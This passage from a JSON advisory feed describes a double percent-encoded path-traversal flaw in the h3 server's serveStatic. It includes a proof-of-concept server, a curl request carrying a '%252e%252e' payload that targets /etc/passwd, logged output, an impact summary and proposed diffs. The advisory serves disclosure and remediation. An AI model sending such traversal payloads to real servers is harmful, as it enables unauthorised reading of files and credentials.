`/%252e%252e/%252e%252e/etc/passwd`\n2. After event.ts decode: `/%2e%2e/%2e%2e/etc/passwd`\n3. `decodeURI()` in static.ts: `/%2e%2e/%2e%2e/etc/passwd` (unchanged — `decodeURI` doesn't decode `%2e`)\n4. `resolveDotSegments()` fast-returns at line 56 because `%2e` contains no literal `.` character:\n   ```typescript\n   if (!path.includes(\".\")) {\n     return path;\n   }\n   ```\n5. Asset ID `/%2e%2e/%2e%2e/etc/passwd` is passed to `getMeta()` and `getContents()` callbacks\n6. URL-based backends resolve `%2e%2e` as `..` per RFC 3986 / URL Standard\n\nThe root cause is `resolveDotSegments()` only checks for literal `.` characters and does not account for percent-encoded dot sequences (`%2e`). The `decodeURI()` in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that `%2e%2e` survives as a traversal payload through both decoding stages and `resolveDotSegments`.\n\n## PoC\n\n**1. Create a minimal h3 server with a URL-based static backend:**\n\n```javascript\n// server.mjs\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"srvx\";\n\nconst app = new H3();\n\napp.get(\"/**\", (event) =\u003e {\n  return serveStatic(event, {\n    getMeta(id) {\n      console.log(\"[getMeta] asset ID:\", id);\n      // Simulate URL-based backend (CDN/S3)\n      const url = new URL(id, \"https://cdn.example.com/static/\");\n      console.log(\"[getMeta] resolved URL:\", url.href);\n      return { type: \"text/plain\" };\n    },\n    getContents(id) {\n      console.log(\"[getContents] asset ID:\", id);\n      const url = new URL(id, \"https://cdn.example.com/static/\");\n      console.log(\"[getContents] resolved URL:\", url.href);\n      return `Fetched from: ${url.href}`;\n    },\n  });\n});\n\nserve({ fetch: app.fetch, port: 3000 });\n```\n\n**2. Send the double-encoded traversal request:**\n\n```bash\ncurl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'\n```\n\n**3. Observe server logs:**\n\n```\n[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd\n[getMeta] resolved URL: https://cdn.example.com/etc/passwd\n[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd\n[getContents] resolved URL: https://cdn.example.com/etc/passwd\n```\n\nThe `%2e%2e` sequences in the asset ID are resolved as `..` by the `URL` constructor, causing the backend URL to traverse from `/static/` to `/etc/passwd`.\n\n## Impact\n\n- **Arbitrary file read from backend storage:** An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).\n- **Sensitive data exposure:** Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.\n- **Affected deployments:** Applications using `serveStatic` with callbacks that resolve asset IDs via URL construction (`new URL(id, baseUrl)` or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using `path.join()` are not affected since `%2e%2e` is not resolved as a traversal sequence by filesystem APIs.\n\n## Recommended Fix\n\nThe `resolveDotSegments()` function must account for percent-encoded dot sequences. Additionally, the redundant `decodeURI()` in `serveStatic` should be removed since `H3Event` already handles decoding.\n\n**Fix 1 — Remove redundant `decodeURI` in `src/utils/static.ts:86-88`:**\n\n```diff\n  const originalId = resolveDotSegments(\n-   decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),\n+   withLeadingSlash(withoutTrailingSlash(event.url.pathname)),\n  );\n```\n\n**Fix 2 — Harden `resolveDotSegments` in `src/utils/internal/path.ts:55-73` to handle percent-encoded dots:**\n\n```diff\n export function resolveDotSegments(path: string): string {\n-  if (!path.includes(\".\")) {\n+  if (!path.includes(\".\") \u0026\u0026 !path.toLowerCase().includes(\"%2e\")) {\n     return path;\n   }\n   // Normalize backslashes to forward slashes to prevent traversal via `\\`\n-  const segments = path.replaceAll(\"\\\\\", \"/\").split(\"/\");\n+  const segments = path.replaceAll(\"\\\\\", \"/\")\n+    .replaceAll(/%2e/gi, \".\")\n+    .split(\"/\");\n   const resolved: string[] = [];\n```\n\nBoth fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring `resolveDotSegments` cannot be bypassed with percent-encoded dots regardless of the caller.","status":"published","published":"2026-03-20T20:50:09Z","modified":"2026-09-10T03:50:37.80616514Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:40.308826Z"},{"id":"CLSA-2026-1790707412","title":"TuxCare security update for h3 (2 CVEs)","description":"TuxCare rebuilt h3 to address 2 CVEs. Fixed in 1.15.3-tuxcare.2.","status":"published","published":"2026-09-29T18:43:32Z","modified":"2026-10-15T09:47:57.310099296Z","updated_at":"2026-11-02T15:43:48.65893Z"}]}}